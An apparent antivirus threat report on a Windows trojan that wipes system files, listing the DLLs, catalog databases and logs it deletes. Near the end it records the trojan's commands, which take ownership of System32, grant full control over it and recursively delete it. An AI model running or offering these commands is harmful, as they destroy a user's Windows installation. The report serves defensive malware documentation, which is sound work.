Trojan.KillFiles2.8459

Technical Information

Modifies file system

Deletes the following system files

%WINDIR%\syswow64\cmd.exe
%WINDIR%\syswow64\combase.dll
%WINDIR%\syswow64\comctl32.dll
%WINDIR%\syswow64\comdlg32.dll
%WINDIR%\syswow64\coml2.dll
%WINDIR%\syswow64\coremessaging.dll
%WINDIR%\syswow64\coreuicomponents.dll
%WINDIR%\syswow64\crypt32.dll
%WINDIR%\syswow64\cryptbase.dll
%WINDIR%\syswow64\cryptnet.dll
%WINDIR%\syswow64\cryptsp.dll
%WINDIR%\syswow64\d2d1.dll
%WINDIR%\syswow64\d3d10warp.dll
%WINDIR%\syswow64\d3d11.dll
%WINDIR%\syswow64\dataexchange.dll
%WINDIR%\syswow64\dcomp.dll
%WINDIR%\syswow64\dhcpcsvc.dll
%WINDIR%\syswow64\dhcpcsvc6.dll
%WINDIR%\syswow64\difxapi.dll
%WINDIR%\syswow64\directmanipulation.dll
%WINDIR%\syswow64\dnsapi.dll
%WINDIR%\syswow64\dpapi.dll
<SYSTEM32>\catroot2\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\catdb
<SYSTEM32>\catroot2\{127d0a1d-4ef2-11d1-8608-00c04fc295ee}\catdb.jfm
<SYSTEM32>\catroot2\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\catdb
<SYSTEM32>\catroot2\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\catdb.jfm
%WINDIR%\syswow64\dwmapi.dll
%WINDIR%\syswow64\dwrite.dll
%WINDIR%\syswow64\dxcore.dll
%WINDIR%\syswow64\dxgi.dll
%WINDIR%\syswow64\edputil.dll
%WINDIR%\syswow64\en-us\actioncenter.dll.mui
%WINDIR%\syswow64\en-us\activeds.dll.mui
%WINDIR%\syswow64\en-us\csrss.exe.mui
%WINDIR%\syswow64\en-us\dsreg.dll.mui
%WINDIR%\syswow64\en-us\explorer.exe.mui
%WINDIR%\syswow64\en-us\fwpuclnt.dll.mui
%WINDIR%\syswow64\en-us\hcproviders.dll.mui
%WINDIR%\syswow64\en-us\iertutil.dll.mui
%WINDIR%\syswow64\en-us\imapi2.dll.mui
%WINDIR%\syswow64\en-us\msctfmonitor.dll.mui
%WINDIR%\syswow64\en-us\pnrpnsp.dll.mui
%WINDIR%\syswow64\en-us\sndvolsso.dll.mui
%WINDIR%\syswow64\en-us\stobject.dll.mui
%WINDIR%\syswow64\en-us\svchost.exe.mui
%WINDIR%\syswow64\en-us\taskschd.dll.mui
%WINDIR%\syswow64\en-us\twinapi.dll.mui
%WINDIR%\syswow64\en-us\urlmon.dll.mui
%WINDIR%\syswow64\en-us\user32.dll.mui
%WINDIR%\syswow64\en-us\windows.ui.xaml.dll.mui
%WINDIR%\syswow64\en-us\winsrv.dll.mui
%WINDIR%\syswow64\en-us\wldap32.dll.mui
%WINDIR%\syswow64\fwpuclnt.dll
%WINDIR%\syswow64\gdi32.dll
%WINDIR%\syswow64\gdi32full.dll
%WINDIR%\syswow64\gdiplus.dll
%WINDIR%\syswow64\icacls.exe
%WINDIR%\syswow64\ieapfltr.dll
%WINDIR%\syswow64\ieframe.dll
%WINDIR%\syswow64\ieproxy.dll
%WINDIR%\syswow64\iertutil.dll
%WINDIR%\syswow64\ieui.dll
%WINDIR%\syswow64\imagehlp.dll
%WINDIR%\syswow64\imm32.dll
%WINDIR%\syswow64\iphlpapi.dll
%WINDIR%\syswow64\jscript9.dll
%WINDIR%\syswow64\kernel.appcore.dll
%WINDIR%\syswow64\kernel32.dll
%WINDIR%\syswow64\kernelbase.dll
<SYSTEM32>\LogFiles\WMI\Diagtrack-Listener.etl.006
<SYSTEM32>\LogFiles\WMI\LwtNetLog.etl
<SYSTEM32>\LogFiles\WMI\Microsoft-Windows-Rdp-Graphics-RdpIdd-Trace.etl
<SYSTEM32>\logfiles\wmi\netcore.etl
<SYSTEM32>\logfiles\wmi\ntfslog.etl
<SYSTEM32>\logfiles\wmi\radiomgr.etl
<SYSTEM32>\logfiles\wmi\wifi.etl
%WINDIR%\syswow64\mlang.dll
%WINDIR%\syswow64\msasn1.dll
%WINDIR%\syswow64\msctf.dll
%WINDIR%\syswow64\mshtml.dll
%WINDIR%\syswow64\msimtf.dll
%WINDIR%\syswow64\msiso.dll
%WINDIR%\syswow64\mskeyprotect.dll
%WINDIR%\syswow64\msvcp_win.dll
%WINDIR%\syswow64\msvcrt.dll
%WINDIR%\syswow64\mswsock.dll
%WINDIR%\syswow64\msxml6.dll
%WINDIR%\syswow64\ncrypt.dll
%WINDIR%\syswow64\ncryptsslp.dll
%WINDIR%\syswow64\netapi32.dll
%WINDIR%\syswow64\netutils.dll
%WINDIR%\syswow64\ninput.dll
%WINDIR%\syswow64\normaliz.dll
%WINDIR%\syswow64\nsi.dll
%WINDIR%\syswow64\ntasn1.dll
%WINDIR%\syswow64\ntdll.dll
%WINDIR%\syswow64\ntmarta.dll
%WINDIR%\syswow64\ole32.dll
%WINDIR%\syswow64\oleaut32.dll
%WINDIR%\syswow64\ondemandconnroutehelper.dll
%WINDIR%\syswow64\onecorecommonproxystub.dll
%WINDIR%\syswow64\powrprof.dll
%WINDIR%\syswow64\profapi.dll
%WINDIR%\syswow64\propsys.dll
%WINDIR%\syswow64\psapi.dll
%WINDIR%\syswow64\rasadhlp.dll
%WINDIR%\syswow64\rpcrt4.dll
%WINDIR%\syswow64\rsaenh.dll
%WINDIR%\syswow64\schannel.dll
%WINDIR%\syswow64\sechost.dll
%WINDIR%\syswow64\secur32.dll
%WINDIR%\syswow64\setupapi.dll
%WINDIR%\syswow64\shcore.dll
%WINDIR%\syswow64\shell32.dll
%WINDIR%\syswow64\shlwapi.dll
%WINDIR%\syswow64\slc.dll
%WINDIR%\syswow64\sppc.dll
%WINDIR%\syswow64\srpapi.dll
%WINDIR%\syswow64\sspicli.dll
%WINDIR%\syswow64\sxs.dll
%WINDIR%\syswow64\textinputframework.dll
%WINDIR%\syswow64\twinapi.appcore.dll
%WINDIR%\syswow64\ucrtbase.dll
%WINDIR%\syswow64\umpdc.dll
%WINDIR%\syswow64\urlmon.dll
%WINDIR%\syswow64\user32.dll
%WINDIR%\syswow64\userenv.dll
%WINDIR%\syswow64\uxtheme.dll
%WINDIR%\syswow64\version.dll
%WINDIR%\syswow64\webio.dll
%WINDIR%\syswow64\win32u.dll
%WINDIR%\syswow64\windows.staterepositoryps.dll
%WINDIR%\syswow64\windows.storage.dll
%WINDIR%\syswow64\winhttp.dll
%WINDIR%\syswow64\wininet.dll
%WINDIR%\syswow64\winnsi.dll
%WINDIR%\syswow64\wintrust.dll
%WINDIR%\syswow64\wintypes.dll
%WINDIR%\syswow64\wkscli.dll
%WINDIR%\syswow64\wldap32.dll
%WINDIR%\syswow64\wldp.dll
%WINDIR%\syswow64\ws2_32.dll

Deletes following files that it created itself

<SYSTEM32>\catroot2\edb.log
<SYSTEM32>\catroot2\edb.chk

Moves the following files

from <SYSTEM32>\catroot2\edbtmp.log to <SYSTEM32>\catroot2\edb.log

Substitutes the following files

<SYSTEM32>\catroot2\edb.log

Miscellaneous

Executes the following

'%WINDIR%\syswow64\cmd.exe' /c takeown /F "<SYSTEM32>" /R /D Y
'%WINDIR%\syswow64\cmd.exe' /c icacls "<SYSTEM32>" /grant Administrators:F /T /C
'%WINDIR%\syswow64\cmd.exe' /c rmdir /s /q "<SYSTEM32>\
'%WINDIR%\syswow64\takeown.exe' /F "<SYSTEM32>" /R /D Y
'%WINDIR%\syswow64\icacls.exe' "<SYSTEM32>" /grant Administrators:F /T /C
'%WINDIR%\syswow64\cmd.exe' /c takeown /F "<SYSTEM32>" /R /D Y' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c icacls "<SYSTEM32>" /grant Administrators:F /T /C' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c rmdir /s /q "<SYSTEM32>\' (with hidden window)